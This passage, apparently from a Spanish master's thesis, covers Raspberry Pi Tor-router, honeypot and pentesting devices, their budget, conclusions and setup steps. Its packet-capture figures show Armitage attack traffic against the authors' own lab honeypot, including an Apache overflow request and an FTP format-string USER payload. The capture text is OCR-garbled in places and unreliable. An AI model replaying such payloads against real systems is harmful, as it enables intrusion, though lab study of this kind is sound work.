7 Unknown uDP 192.168.2 17:18843 Honeypol: 62783 <1sec
? Unknown uppP 192.168.2.17:25681 Honeypol: 1675 < 1 sec
2 Uniknown UDP 192.168.2.17:25459 Honeypol:22092 <1 sec
? Unknown ubppP 152.188.2 17:30325 Honeypol: 25159 =1sec

Figura 84: Escaneo UDP recogido por la red interna

Podemos ver mas datos recogidos por Ntopng en el Anexo D.

Por ultimo, también hemos utilizado la herramienta Wireshark en algunos
casos para ver mas en detalle la red y para poder guardar el trafico en un fichero.
Con la herramienta Armitage, lanzamos los ataques vistos anteriormente y

recogemos y revisamos el trafico de red con dicha herramienta.
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En la siguiente figura, podemos ver distintos accesos desde varias IPs a los

puertos usados por los exploits de Armitage. Trafico como TELNET o MySQL

aparecen junto con la trama completa.

128.. 51,210
278.. 51,210 t
278.. 51.210. (i iy
283.. 185,34

292.. 51,210 !
292.. 51,210 1
308.. 51.210.{ |
308.. 51.210. 1
3e8.. 51.210. LN

Type:  Mumber
Destination

192.

168.

T T Ty
[y
(%]
(=]

= Fiedds: |Enter a fiald

destpart Sreport

Length = Info
40698 1514 40698 — 1433 [ACK] Seq=203615 Ack=2:
40698 1514 40698 — 1433 [PSH, ACK] Seq=205161 /
40698 1514 40698 — 1433 [ACK] Seq=206609 Ack=2:
46114 1514 Login Request user= db=@\b [TCP segqr
46114 1514 46114 — 3306 [ACK] Seq=1453 Ack=57 |
55393 1514 Login Request user= db=@\b [TCP seq
55393 1514 55393 —~ 3306 [ACK] Seq=1453 Ack=57 |
55393 1514 55393 —~ 3306 [ACK] Seq=3445 Ack=68 |
34710 1514 Request: USER 3qlolptP@\254q%423042.
59072 1514 Login Request user= db=@\b [TCP seq
59072 1514 59072 — 3306 [ACK] Seq=1453 Ack=57 |
37768 1514 Telnet Data ...
377e8 1514 Telnet Data ...
37708 1514 Telnet Data ...
377e8 1514 Telnet Data ...
37708 1514 Telnet Data ...

37708

QPTIAR

1514 Telnet .
1514 Telnet Data ...

1514 Talnat Nata

Figura 85: Captura Wireshark varios puertos

Si abrimos la trama del ataque lanzado a Apache, podemos ver en detalle el

exploit que se envié a la victima.

pisc == 165,

Tirme

659.167671345 185.34‘$W§{

658.721051429

659.167671105
659.169545924
659.203003520

o,

Dastination

192.168.1.120

Protocal

HTTP

= Length

1285 GET OOCCOOOCKK XXX

0000
010
020
0030
0p40
0050
AAGAE

dc a6
04 f7
01 78
01 f6
65 C8
4F 4e
43 37

32
as
hs
cd
43
42
4a

d5
9f
48
f1i
4e
37
48

b8
40
00
00
41
4a
49

Request URI [truncated]:
Request Version: HTTP/1.0
\rin
[HTTP request 1/1]

- [ [truncated]Expert Info (Chat/Sequence): GET /XXXXOOOOOOOOOOGOOOOOO00
[GET /XX00C0O0COOOCOOOOOOOCCOOOOOOOOOCOOCOOOOC OGO
[Severity level: Chat]

[Group: Sequence]
Request Method: GET

fReassembled TCP Data: 474554202f58585858585858585858585858585858585858. ..
658.697754792

S HRRACCOOOOOOOOOCACOOOOOOOCOCOROCOCOCOOON00

51 63
g fe
03 2c
61 08
4bh 42
37 48
49 a1

5f 68 00 45 @8 - -2...-Q ¢c-I_--E-
22 21 02 cO a8 N Y- L I
03 da 3b 80 18 “X-H-P7- ,P---;
8a 8¢ 55¢b 3d .o Y Ue=

4e 46 37 46 46 e CNAJTK BHVNFYFF
4a 46 48 47 46 ONB7JNK7 HIOJFHGF
37 de 46 41 42 CTIHT7ET AAF7NFAR

Figura 86: Captura Wireshark trama en detalle parte aplicacion
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En otra trama, podemos ver el intento de login lanzado por Armitage:

M Wireshark - Packet 29585 . wireshark120621.pcapng

.@.. = PS Multiple results: Not set
. B... = Plugin Auth: Not set

...8 .... = Connect attrs: Not set

..®. .... = Plugin Auth LENENC Client Data: Not set

.@.. .... = Client can handle expired passwords: Not se

. B... w... = Session variable tracking: Not set

cees 20.@ ..., ..., = Deprecate EOF: Not set
BeRR BRB. .... .. = Unused: @x@e@

MAX Packet: 1873741824
Charset: utf8 COLLATE utf8_general_ci (33)
Unused:

Username: scrutremote
Password: aBe3ef96284be5fafc4161a34896ea2cl1656da438
¥ Payload: @@
v [Expert Info (Warning/Undecoded): FIMME - dissector is incomplete]
[FIXME - dissector is incomplete]
[Severity level: Warning]
[Group: Undecoded]

Figura 87: Captura Wireshark ataque scrutremote

Analizando varios de esos ataques tampoco encontramos pruebas de

des-anonimizacion de algun tipo.
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6. Planificacion y presupuesto

6.1 Planificacion del Trabajo.

A continuacién, presentamos nuestro diagrama de Gantt en el que indicamos
las fechas aproximadas de inicio y fin de los distintos hitos importantes del proyecto.
En algunos casos se solapan y por ejemplo, la investigacion y documentaciéon se
realizé6 a lo largo del mismo periodo, pero para no mezclarlo, se han separado.

Dentro del apartado de investigaciéon se incluye el analisis de la red Tor y la red

Surface/Dark web.

ANTET:

profect "

. '-"-"_' -
P D
.

Figura 88: Fechas diagrama de Gantt
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Mombre Fecha de inicio Fecha de fin

@ Estudio de viabilidad 1/03/21 5/03/21

@ Compra y montaje de Material 5003/21 11/03/21
@ |nstalacién imagenes 15/03/21 19/03/21
@ Configurar Imagen Router Tor 22/03/21 904,21

@ Cenfigurar Imagen HoneyPot 904,21 16/04/21
@ Configurar Imagen Kali 16/04/27 19704721
@ Bateria de pruebas 20/04/21 12/05/21
@ |nwestigacidn y documentacién 14/05/21 10/06/21
@ Presentacidn 11/06/21 15/06/21
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[ ]

aje de Material
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Instalacion imagenes

Zonfigurar Imagen Router Tar

[ ]

Configurar Imagen HoneyPot

0

Zanfigurar Imagen Kali

BEateria de pruebas

Investigacion v documentacion

[ ]

Fresentacion

Figura 89: Planificacion del proyecto
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6.2 Inventario de hardware/software y costes.

En la siguiente tabla podemos ver el inventario de hardware y presupuesto

del proyecto.

Precio

Componente en € Caracteristicas Finalidad

Model B 8 GB Honeypot, monitorizaciéon y
Raspberry Pi 4 80[Ram analisis

Model B 2 GB
Raspberry Pi 4 30{Ram Enrutador anonimizador
Raspberry Pi 3 Carcasa y Model B 1 GB
disipador incluido 20|Ram Pentester
Modem Huawei 5(220 2G/3G Salida a Internet 3G
Carcasa Raspberry Cargador Protector y cargador
USB C Disipadores 20|Bruphny Honeypot
Carcasa Raspberry Protector enrutador
Disipadores 5|Carcasa de ABS |anonimizador

SanDisk clase Para RPI Enrutador
Tarjeta micro SD 12|10 64 GB.C 10 |anonimizador

Kingston clase |Para RPI Honeypot,
Tarjeta micro SD 11110 64 GB.C 10 [monitorizacion y andlisis

Philips clase 10
Tarjeta micro SD 9132 GB.C 10 Para RPI Pentester

Tarjeta micro SD

5

Transcend 16
GB.C 10

Para pruebas

Tarjeta micro SD

Cedido

Scandisk 8 GB

Para pruebas

Reutilizado de

Para RPI Enrutador

Cargador USB C Cedido|un mévil anonimizador
Cargador Rasp.

Cargador USB B 4(Pi 3B. 2,5A. Para RPI Pentester
Logitech

Teclado + ratén inalambrico 15| bluetooth

Tarjeta datos 4G prepago Propia

Regleta de enchufes + Carga

USB 15€

Total 231€

Tabla 3: Inventario y presupuesto
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En la siguiente tabla podemos ver el software utilizado:

Nombre Caracteristicas Rol Versién
Raspberry
Raspberry Pi OS Lite
Debian (no desktop) Router Tor v2021.03.04 armv7I
Debian Raspberry Pi OS Honeypot v2021.03.04 armv7I
Kali
Debian 4.19.127-Re4son-v7+ |Pentester v2021.1 armv7I
Simplescree |Graba pantalla en
nrecorder distintos formatos Grabar proceso v0.4.2
VSDC Editar video Editar video v6.6.7.275
Raspberry Pi [Graba y borra
Imager MicroSD Grabar imagenes MicroSD v1.6
Diagrams.ne
t Disefio de red Crear graficos de red 14.6.13
Honeypot
Captura todo el
trafico y lo muestra
NTopng de manera grafica. |Honeypot: Recoger trafico v3.8.190204
Emula servicios
como Honeypot de
todo tipo. Los mas
Dionaea comunes. Honeypot: Emular servicios |v0.11
Pentester
Herramienta de
escaneo de
vulnerabilidades Pentester: Vulnerabilidades
Nikto Web. Web v2.1.6
Mas de 20
herramientas:
DnsMap, Golismero,
Nmap, Wapiti, Xsser, |Pentester: Escaneo
Rapidscan |etc. automatico Vulnerabilidades |v1.0
Herramienta de Pentester: Escaneo de
Nmap escaneo de red. puertos v7.91
Herramienta de
escaneo de Pentester: Escaneo
OpenVas vulnerabilidades automatico Vulnerabilidades (v20.8.1

Router
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Herramienta que
permite anonimato y
conexion a la red
Tor Tor. Router Tor: Anonimato v0.2.5.2-alpha

Hostapd Crea punto wifi. Router Tor: Punto wifi v2.8-devel

Permite dar servicio
Dnsmasq DHCP, DNS, etc. Router Tor: DHCP v2.80

Herramienta de
conexion a Internet
usando nuestro
modem con
WVdial comandos AT. Router Tor: Modem 3G v1.61

Herramienta para
establecer conexién

PPPD punto a punto. Router Tor: Modem 3G v2.4.7
Generar dominio
Eschalot .onion v1.2.0

Tabla 4: Inventario de software

En la siguiente tabla podemos ver las horas empleadas en el trabajo
realizado. Las fases de andlisis, creacién de memoria y creacion del router fueron
las que mas tiempo nos ocuparon. Una vez realizadas, la reproduccion y creacion de
otros dispositivos nos ocupa mucho menos tiempo, lo que abarataria los costes en el
caso de volver a generar los productos.

Descripcion tarea Total servicio

Fase de analisis herramientas 55 900€
Fase montaje Raspberry 2 40€
Fase documentacion 60 800€
Fase configuracion Router 50 900€
Fase configuracion Pentester 10 60€
Fase configuracion Honeypot 15 300€
Fase configuracion enrutamiento 8 100€
Fase de laboratorios 40 800€
Fase de creacién de memoria y videos 60 1.200€
Total 300 6.000€
Precio x hora 20€

Tabla 5: Inventario de tareas

El coste total de ejecucion del presente trabajo, incluyendo costes materiales y
humanos, asciende a 6.231€.
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7. Conclusiones y lineas futuras

7.1 Conclusiones.

Durante la realizacion de este trabajo se han conseguido los objetivos

inicialmente planteados. El estudio del funcionamiento de la red Tor, la creacion de

los dispositivos y la ejecucion de los laboratorios ha sido un trabajo enriquecedor y

nos ha permitido llegar a los siguientes resultados:

Hemos logrado nuestro objetivo principal de crear un dispositivo de bolsillo
capaz de proporcionar acceso a la red Tor mediante conexién wifi sin utilizar
herramientas automaticas ni distribuciones ya preconfiguradas.

Hemos conseguido nuestros objetivos secundarios de configurar un
dispositivo de bolsillo capaz de realizar auditorias de pentesting, otro con el
rol de Honeypot y monitorizacion de red, este ultimo también sin usar
herramientas automaticas o imagenes preconfiguradas.

También hemos logrado analizar la red Tor, tanto a nivel de uso como de
funcionamiento de los circuitos Out-proxy e In-proxy.

Aprovechando la infraestructura creada y mediante los laboratorios, hemos
conseguido demostrar que a nivel de paquete de red (IP), no hemos sido
capaces de des-anonimizar la conexién realizada con la red Tor a través de

nuestro dispositivo.

Ademas de eso y gracias a la infraestructura creada, hemos realizado parte
de las tareas de hacking ético (fase de escaneo y acceso) y de monitorizacién
actuando un dispositivo como “Red Team” y otro como “Blue Team”

respectivamente para confirmar el anonimato.

Por otro lado, durante el proceso de ejecucion de este trabajo se han

presentado algunas situaciones que nos han llevado a las siguientes conclusiones,

pasamos a comentarlas en el siguiente orden: primero relacionadas con la

Raspberry Piy luego con la red Tor.:

Aunque hemos podido demostrar que en ninguno de los escaneos y ataques
ha enviado la IP original y siempre enviaba la IP proporcionada por Tor, no se
descarta que a nivel de aplicacidén se estén enviando datos significativos del

usuario, ya sea por cookies al navegar o con sefiuelos que redirija a otras
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paginas. En este sentido, nos hubiera gustado ahondar mas a fondo en este
aspecto, incluso crear Hidden services e implementar sefuelos.

Los dispositivos Raspberry Pi son mas potentes y funcionales de lo que en un
principio se esperaba. Capaces de ejecutar gran cantidad de herramientas ya
compiladas para chips ARM.

También hemos comprobado la gran diferencia de rendimiento de la
Raspberry Pi 3 a la Raspberry Pi 4. La primera fallé6 en varias ocasiones al
cargar herramientas consumidoras de gran cantidad de memoria. A parte de
eso, al ser la unica sin ventilador en los disipadores tuvimos problemas de
calentamiento llegando a superar los 80° en algunas ocasiones.

Con respecto a la compra del material para este trabajo, se intenté conseguir
de segunda mano, pero no hay tanto mercado y el precio de los vendedores
es muy similar al de venta en tienda con la ventaja de que esta ultima tiene
garantia y tiene las ultimas versiones de hardware.

Algunas de las herramientas de Pentesting o del dispositivo Honeypot no
hemos sido capaces de hacerlas funcionar, ya sea por falta de recursos o por
incompatibilidad.

Mediante las fases de escaneo y ataque, hemos podido comprobar que
existen dos perfiles en “Red team” a la hora de realizar Pentesting. Por un
lado, hemos configurado escaneos adaptados a la necesidad de cada servicio
de forma granulada, pero al mismo tiempo hemos usado herramientas
automatizadas que permiten a cualquier persona, sin conocimientos de
ningun tipo, realizar ataques a cualquier infraestructura con el peligro que ello
implica.

Lo mismo que en el punto anterior sucedié con la configuraciéon del router y el
Honeypot. A pesar que en el mercado se encontraron muchas herramientas
ya preconfiguradas o automatizadas, se optd por herramientas configuradas
manualmente para aprender mas sobre su funcionamiento.

Aunque todo el software utilizado es libre, después de analizar la red Tor,
planteamos como lineas futuras de investigacion crear este mismo dispositivo
router, pero con un software VPN de pago para mayor confidencialidad y
sobretodo confianza.

Durante la investigacion de la red Tor hemos comprobado que es un tema tan

extenso a tratar que se podria haber dividido en varios trabajos.
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La parte de la navegacion In-proxy es muy compleja y nos ha abierto varias
lineas de investigacion, una de ellas que nos interesaba realizar era crear un
Hidden service publicado en la red Tor y realizar pruebas Pentesting contra el
mismo.

Hemos detectado que Tor cambia de nodo de salida cuando el trafico es
elevado o cuando se intenta acceder a servicios que el nodo en el que
estamos actualmente no es capaz de proporcionar. Eso nos ha demostrado
que los nodos de salida filtran el trafico.

Aunque Tor es una red distribuida muy segura, el hecho de que haya 9 nodos
autoritativos nos demuestra que el ente que los controle (para bien o para
mal) si estd administrando la red Tor, ya que decide los nodos de salida y de
entrada, indispensables para proporcionar el anonimato.

Como puntos negativos de Tor, hemos detectado que la velocidad es
excesivamente lenta, que muchos de los enlaces .onion estan rotos y que hay
paginas de enlaces que carecen de mantenimiento y no los actualizan.
También, que existen innumerables Dark webs de venta de articulos de
dudosa confianza, u otras paginas que pueden ser de caracter ilicito como
venta de drogas, armas, ciberterrorismo, hacking, venta de malware, venta de
datos, falsificacion de documentos, pornografia ilegal, etc.

Al navegar por la Surface web, muchas de las paginas muestran su
desconfianza al detectar que nuestra IP viene de la red Tor e imponen
captcha u otras medidas de control de acceso para evitar ataques. Al haber
un listado publico cada hora de las IPs de los nodos de salida esto es posible.
Noticias sobre que el 25% del trafico de salida de Tor esta filtrado, de que un
grupo de hackers se hizo con mas del 10% de los nodos de salida y de que el
FBI consigui6 destapar y cerrar varios servidores Hidden services no ayudan

tampoco a generar confianza con respecto a dicha red.

Mediante este trabajo, no pretendemos juzgar la red Tor, simplemente dejar
claro lo que nos podemos encontrar en ella y ya cada individuo es libre de
entrar o no segun sus necesidades o su curiosidad, pero es bueno que las
personas tengan ese conocimiento antes de acceder. Afadir que es una
herramienta que fue premiada en su dia, que es capaz de salvar vidas al dar

capacidad de expresidon en paises con fuertes medidas de censura, pero que
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también produce cierta desconfianza y es que, para bien o para mal, permite
hacer precisamente eso, tanto el bien como el mal sin poder ser juzgado por

los actos cometidos.

7.2 Lineas futuras.

Durante el desarrollo de este trabajo, hemos visto la gran cantidad de
posibilidades para futuros proyectos. Algunas de ellas las hemos podido realizar en
el trabajo, sin embargo, otras nos ocupan un tiempo superior al disponible para este
TFM. Por si pudieran servir para que realizaramos futuros proyectos o para la

comunidad, se procede a nombrar las posibles lineas futuras de investigacion.

e Raspberry Pi con Nagios. Se trata de convertir nuestra Raspberry Pi en un
servidor de monitorizacion usando el famoso software Nagios. (Emmet y
Pimylife)

e Mobdulo GPIO con Leds que avise cuando hay anonimato. Mediante un
modulo protoboard, realizar las conexiones a la GPIO y configurar leds e
interruptores y/o pulsadores para ir cambiando entre anonimato y no
anonimato y avisar si esta activo o no activo.

e Moddulo 4G conectado directamente a la Raspberry Pi. En vez de usar un
modem externo, se trata de adquirir uno para integrar con la Raspberry,
acoplarlo a nuestro dispositivo y de esa manera tener Internet sin cables.
(Estremadoyro y Altronics)

e Honeypot web de gran interactividad, por ejemplo, un Damn Vulnerable Linux
(DVL) y Damn Vulnerable Web Application (DVWA). Mediante cookies,
intentar obtener informacion del atacante. (Null byte)

e Honeypot de servicios industriales Scada.

e Realizar un ataque al Honeypot Dionaea mediante un exploit configurado con
Msfvenom para ver si es capaz de recogerlo como indican en sus
especificaciones.

e Pentesting In-proxy de Tor. Crear un servidor Honeypot dentro de la red Tor
para recoger los ataques recibidos y realizar Pentesting al mismo. (Echeverri

y Incibe) (Rodriguez et al.)
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e Anonimato con otras herramientas similares a Tor como pueden ser: Freenet,
i2p, ZeroNet, etc. (Isaac)

e Configurar Raspberry Pi junto con VPNs comerciales para proporcionar
anonimato mas seguro y confiable. Utilizar VPN en conjunto con Tor, Freenet,
etc, para mayor anonimato. (Gaitatzis)

e Configurar el Honeypot en AWS o con Dockers para que sea un entorno mas

potente y real.

e Desgranar mas a fondo el protocolo Tor, recogiendo todo el proceso y
capturando el trafico con Wireshark, viendo los ficheros de almacenamiento
donde se encuentran los nodos “consensus” y donde aparecen los nodos
guarda, sus IPs, certificados, etc. Analizar el trafico con Wireshark quiza nos

permita des-anonimizar a través de los datos de la capa de aplicacion.

File Edit View Go Capture Analyze Statistics Telephony

ma® % €] &=

Title: Fiedds: |E Oceurrence:

N Source Destination Protocal destport Sreport Length * Info
6505 51,210 ” 192.168.1.120 TCP 1433 40698 1514 40698 — 1433 [ACK] Seq=203615 Ack=2362 Win=29312 Len=1448 TSval=31674¢
6511 51.210.|§] 192.168.1.120 TCP 1433 40698 1514 40698 — 1433 [PSH, ACK] Seq=205161 Ack=2396 Win=29312 Len=1448 TSval=:
6513 51.210. L L4 192.168.1.120 TCP 1433 40698 1514 40698 — 1433 [ACK] Seq=206609 Ack=2396 Win=29312 Len=1448 TSval=31674¢
128.. 51.210.g1H" 192.168,1.120 MySQL 3306 46114 1514 Login Request user= db=@\b [TCP segment of a reassembled PDU]
128.. 51.210. @ 192.168.1.120 TCP 3306 46114 1514 46114 — 3306 [ACK] Seq=1453 Ack=57 Win=29312 Len=1448 TSval=316783697:
278.. 51.210. )1 192.168.1.120 MySQL 3306 55393 1514 Login Request user= db=@\b [TCP segment of a reassembled PDU]
278.. 51.210, 192.168.1.120 TCP 3306 55393 1514 55393 — 3386 [ACK] Seq=1453 Ack=57 Win=29312 Len=1448 TSval=317031310¢
278.. 51.210, 192.168.1.126 TCP 3306 55393 1514 55393 — 3306 [ACK] Seq=3445 Ack=68 Win=29312 Len=1448 TSval=317031323%
283.. 185.34 .08 192.168.1.120 FTP 21 34710 1514 Request: USER 3qIolptP@\254q%4230422x%p%phpHp%p%pipHpipkpkpipkpihpkpkpd
292.. 51.210.gfy 192.168.1.120 MySQL 3306 59072 1514 Login Request user= db=@\b [TCP segment of a reassembled PDU]
202.. 51.218. [ 192.168.1.120 TCP 3306 59072 1514 59072 — 3386 [ACK] Seq=1453 Ack=57 Win=29312 Len=1448 TSval=317076700¢
308.. 51.210.0 085S 192.168.1.120 TELN.. 23 37708 1514 Telnet Data ...
308.. 51.210. gN! 192.168.1.120 TELN.. 23 37708 1514 Telnet Data ...
308.. 51.210.0L 0% 192.168.1.120 TELN.. 23 37708 1514 Telnet Data ...
2[R B1 21/ I 1072 1RR 1 12~ TEI N 217 277AR 1814 Talnat Nata

Figura 90: Captura Wireshark varios puertos
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Anexos

Anexo A: Caracteristicas y montaje de Raspberry PI.

En este anexo podemos ver las especificaciones técnicas de las Raspberry Pi
3y4.

Especificaciones.

Las siguientes son las especificaciones de la Raspberry Pi 4.

eBroadcom BCM2711, Quad core Cortex-A72 (ARM v8) 64-bit SoC @ 1.5GHz

¢2GB, 4GB or 8GB LPDDR4-3200 SDRAM (depending on model)

2.4 GHz and 5.0 GHz IEEE 802.11ac wireless, Bluetooth 5.0, BLE

e Gigabit Ethernet

o2 USB 3.0 ports; 2 USB 2.0 ports.

eRaspberry Pi standard 40 pin GPIO header (fully backwards compatible with
previous boards)

o2 x micro-HDMI ports (up to 4kp60 supported)

e2-lane MIPI DSI display port

e2-lane MIPI CSI camera port

e4-pole stereo audio and composite video port

oH.265 (4kp60 decode), H264 (1080p60 decode, 1080p30 encode)

eOpenGL ES 3.0 graphics

eMicro-SD card slot for loading operating system and data storage

o5V DC via USB-C connector (minimum 3A*)

o5V DC via GPIO header (minimum 3A*)

ePower over Ethernet (PoE) enabled (requires separate PoE HAT)

eOperating temperature: 0 — 50 degrees C ambient

* A good quality 2.5A power supply can be used if downstream USB peripherals

consume less than 500mA in total.
Las siguientes son las especificaciones de la Raspberry Pi 3B.

e Quad Core 1.2GHz Broadcom BCM2837 64bit CPU
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¢ 1GB RAM

e BCM43438 wireless LAN and Bluetooth Low Energy (BLE) on board
¢ 100 Base Ethernet

¢ 40-pin extended GPIO

o4 USB 2 ports

e 4 Pole stereo output and composite video port

e Full size HDMI

e CSI| camera port for connecting a Raspberry Pi camera

e DSI display port for connecting a Raspberry Pi touchscreen display
e Micro SD port for loading your operating system and storing data

e Upgraded switched Micro USB power source up to 2.5A

En los siguientes videos, podemos ver el montaje fisico de las dos Raspberry

Pi 4. Se les pone disipador y ventilador junto con la caja protectora.
Disipador con ventilador Bruphny.

https://www.youtube.com/watch?v=ILIwTMNcMwA

Disipador con ventilador genérico.

https://www.youtube.com/watch?v=AhFTWKE845s

Instalacion de imagenes.
Descarga de imagenes de Raspbian, Kali y Honeypot.

Raspbian: La imagen de Raspbian viene en el instalador de imagenes
“Raspberry Pi Imager v1.6”".
Kali: La imagen de Kali debemos descargarla de la pagina web de Offensive

Security. (Kali org)

Honeypot: Existen varias opciones, instalar una imagen de Raspbian,
Ubuntu, etc y sobre ella instalar el Honeypot y herramientas de monitorizacién.
También existe la posibilidad de descargarse una imagen ya preinstalada con el

Honeypot.
Pasos para la instalacion de las imagenes:

1.- Instalamos el software Raspberry “Pi Imager’ de la pagina de Raspberry.
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2.- Seleccionamos el sistema operativo, por defecto Raspbian. Pulsamos en
“Choose storage” y seleccionamos la tarjeta SD en la que queramos instalar la

imagen.

3.- Una vez seleccionada la tarjeta SD, se nos habilitara el botén de “Write”. Si

queremos instalar Raspbian pulsamos en el que viene con Imager.
4.- Nos avisara que se eliminaran todos los datos de la tarjeta SD.
5.- Cuando finalice la escritura, comenzara la verificacion.

6.- Cuando termine el proceso completo, nos avisara de que ya podemos

retirar la tarjeta.

7.- En el caso de Kali u otra imagen, el proceso es muy similar, lo unico que
cambia es el principio en el que debemos elegir la imagen correspondiente.
Pulsamos en el botdén de “Operating System”. Dentro de las opciones, hay multitud

de ellas, segun su propdsito: emulador de juegos, reproductor de multimedia, etc.

8.- Seleccionamos “Use custom” para poder introducir la imagen

correspondiente.

9.- Previamente tenemos que descargar el archivo .img. En este caso la

imagen de kali Linux ARM para Raspberry.

10.- Una vez terminado el grabado de la imagen, extraemos la tarjeta micro
SD vy la insertamos en la la parte posterior de nuestra Raspberry Pi, en la ranura
MicroSD y la encendemos a través del alimentador eléctrico. Una vez arrancada,

nos solicitara cierta configuracion que pasamos a describir:
e Configuracion de pais, idioma y zona horaria.
e Establecer una contrasefa.

e Configuracion de wifi (no realizar si se va a usar como Punto de acceso wifi o

Hotspot, en ese caso conectarla a la salida ethernet).
e Se actualizara sola y pedira reinicio.
e Cuando termine, ya estara operativa.

11.- Después, en cada imagen instalaremos XRDP (excepto la del router)

para poder conectarnos a través del servicio de RDP de Windows (MSTSC), SSH
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)

para poder acceder a la Raspberry via terminal de consola y “simplescreenrecorder’

(Baert) para documentar el proceso en video.
Desde la consola o terminal, ejecutamos el siguiente comando.

$sudo apt-get install xrdp ssh simplescreenrecorder

12.- Otra opcién para consumir menos recursos es la instalacion sin entorno
grafico. Esta instalacion es la correcta para la parte del enrutamiento, esto se debe a
que en principio no se usaria para otro servicio mas que para enrutar. Se encuentra
en el programa “Raspberry Pi Imager’, “Raspberry Pi SO (Others)”, luego los demas

pasos son los mismos que en las anteriores imagenes.

8 Raspberry i lmagerv1.6 - x
Operating System X
( Back
Go back to main menu

Raspberry Pi OS Lite (32-bit)

‘ A port of Debian with no desktop environment

Raspberry Pi 05 Full (32-bit)

A port of Debian with desktop and recommended applications

©

Figura 91: Raspberry Pi Imager OS Lite sin entorno grafico

En el siguiente video podemos ver una instalacién completa desde cero:

https://www.youtube.com/watch?v=vXtE3yBxaK0

Anexo B: Configuracién Router.

Instalacion y configuracion del punto de acceso wifi.

Una vez terminados los pasos anteriores, nuestra Raspberry estara operativa
y podemos continuar con la instalacién de los demas roles, en este caso el de punto

de acceso wifi.
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Se han barajado varias opciones, algunas automaticas como “RaspAP”, pero
como al final muchas de ellas utilizan “Hostapd” para el servicio de punto de acceso,
“‘Dnsmasq” o “Isc-dhcp-server” para el servicio de “DHCP”, se ha decidido instalarlas

y configurarlas desde cero para tener mayor control.
Enumeramos las herramientas probadas:

Hostapd: Es el servicio que se encarga de proporcionar el punto de acceso.

(Alcocer)

Dnsmasq: Es el servicio encargado de proporcionar DNS y DHCP, nosotros
lo usaremos para el DHCP de los dispositivos que se conecten al punto de acceso.

(Sanchez Alés y Linuxnomicon)

Isc-dhcp-server: Es una alternativa al anterior, nosotros usamos Dnsmasq

pero podriamos haber elegido Isc-dhcp-server. (Ubuntu help)

RaspAP: Es una herramienta que configura el punto de acceso de manera

automatica pero optamos por instalar y configurarlo a mano. (Raspap)

El proceso de instalacion es el siguiente (Gus y PiMyLifeUp):

Instalamos las herramientas Hostapd y Dnsmasq.

$sudo apt-get install hostapd dnsmasq

Paramos el servicio Dnsmasq para configurarlo:

$sudo systemctl stop dnsmasq

Editamos el archivo Dnsmasq para anadir el ambito DHCP:
$sudo nano /etc/dnsmasq.conf
interface=wlan0 # Use interface wlan0
server=1.1.1.1 # Use Cloudflare DNS

dhcp-range=192.168.2.10,192.168.2.50,12h # IP range and lease time

Paramos el servicio hostapd para configurarlo:

$sudo systemctl stop hostapd

Editamos el archivo de configuracion y le afadimos los parametros

necesarios, entre ellos el SSID y la contrasefa.
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$sudo nano /etc/hostapd/hostapd.conf

interface=wlanQ — Indica el interfaz a usar como punto de acceso

driver=nl80211 — El tipo de driver que usara
hw_mode=g — El tipo de conexion wifi, a, b o g
channel=6 — El canal del medio a utilizar
ieee80211n=1 — Indica que usara ieee80211n

wmm_enabled=0 — No usara esta opcion
macaddr_acl=0 — No usara esta opcion
ignore_broadcast_ssid=0 — No usara esta opcion
auth_algs=1 — Método de autenticacion
wpa=2 — Autenticacion WPA 2
wpa_key mgmt=WPA-PSK — Autenticacion WPA-PSK
wpa_pairwise=TKIP— Autenticacion TKIP
rsn_pairwise=CCMP

# Nombre del SSID

ssid=Raspator

# Contrasefia de la wifi

wpa_passphrase=RaspaTor2002

Editamos el fichero de configuracion por defecto y el del servicio para

asegurarnos de que usa el que hemos modificado.

$sudo nano /etc/default/hostapd
#DAEMON_CONF=""

Replace with:

DAEMON _CONF="/etc/hostapd/hostapd.conf”

También hacemos lo mismo en el archivo de servicio.

$sudo nano /etc/init.d/hostapd
DAEMON_CONF=

Lo cambiamos por:

DAEMON_CONF=/etc/hostapd/hostapd.conf
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Editamos el fichero de configuracion del demonio DHCP para darle una ip fija
a nuestro interfaz wifi, de esa manera hara de router para los dispositivos que

se conecten.

$sudo nano /etc/dhcpcd.conf
interface wlan0
static ip_address=192.168.2.1/24

nohook wpa_supplicant
Reiniciamos el servicio DHCP.
$sudo systemctl restart dhcpcd

Editamos el fichero de configuracion sysctl.conf para habilitar el enrutamiento
entre interfaces. Buscamos la linea net.ipv4..., la descomentamos vy

anadimos un 1.

$sudo nano /etc/sysctl.conf

net.ipv4.ip_forward=1

El siguiente comando hace lo mismo que lo anterior, pero habilitando el

enrutamiento en ese mismo momento, sin reiniciar.
$sudo echo 1 > /proc/sys/net/ipv4/ip_forward

"’

El siguiente comando “"Iptables™ sirve para redireccionar todo el trafico a la

red ethO (esto no es necesario mas adelante cuando el trafico se enruta por la

red Tor, pero si, si solo lo queremos como punto de acceso).
$sudo iptables -t nat -A POSTROUTING -o ethO -j MASQUERADE

Lo siguiente permitira que la regla recién anadida se mantenga persistente

después del reinicio.
$sudo sh -c "iptables-save > /etc/iptables.ipv4.nat”

Un ultimo paso de configuracion sera afadir lo siguiente en el fichero
‘rc.local’, justo antes de la linea “exit 0. De esta manera se ejecutaran

nuestras lineas “Iptables” en cada inicio.
$sudo nano /etc/rc.local

Antes de exit 0 ponemos la siguiente linea:
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iptables-restore < /etc/iptables.ipv4.nat
exit 0

e Ya solo nos queda configurar los servicios para que se levanten

automaticamente y reiniciar.

$sudo systemct! unmask hostapd
$sudo systemctl enable hostapd
$sudo systemctl start hostapd
$sudo service dnsmasq start

$sudo reboot
Una vez reiniciado, veremos nuestro punto de acceso wifi llamado Raspator.
En el siguiente video podemos ver el proceso completo:

https://youtu.be/G6fx-vSDsaQ

Instalacion y configuracion del modem 3G.

Una vez configurada nuestra Raspberry Pi como punto de acceso, nuestro
siguiente objetivo es instalar y configurar el modem 3G. Para ello, hemos realizado

varias operaciones hasta dar con la mas acertada para nuestro caso.

Existen varias aplicaciones que nos ayudaran a hacer funcionar nuestro
modem, algunas automaticas como SAKIS3G y UMTSkeeper que funcionan muy
bien y automatizan mucho el proceso, y otras de configuracién manual. Como en el
caso anterior, para no perder el control, hemos decidido hacerlo solo con las

herramientas necesarias y configurandose en base a nuestro objetivo.

Vamos a comentar las herramientas testadas, para que vale cada una y como

las hemos usado y configurado.
Las dos siguientes las probamos, pero no las implantamos en este trabajo:

SAKIS3G: Realiza la conexiéon de forma automatica preguntando por el
dispositivo, el proveedor de servicios, etc y luego permite cerrar la conexién, todo

ello mediante entorno grafico. (Scott)
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UMTSKeeper: Es una herramienta de linea de comandos que permite lanzar
la conexién automaticamente y lo mas importante, en caso de que se corte, volver a

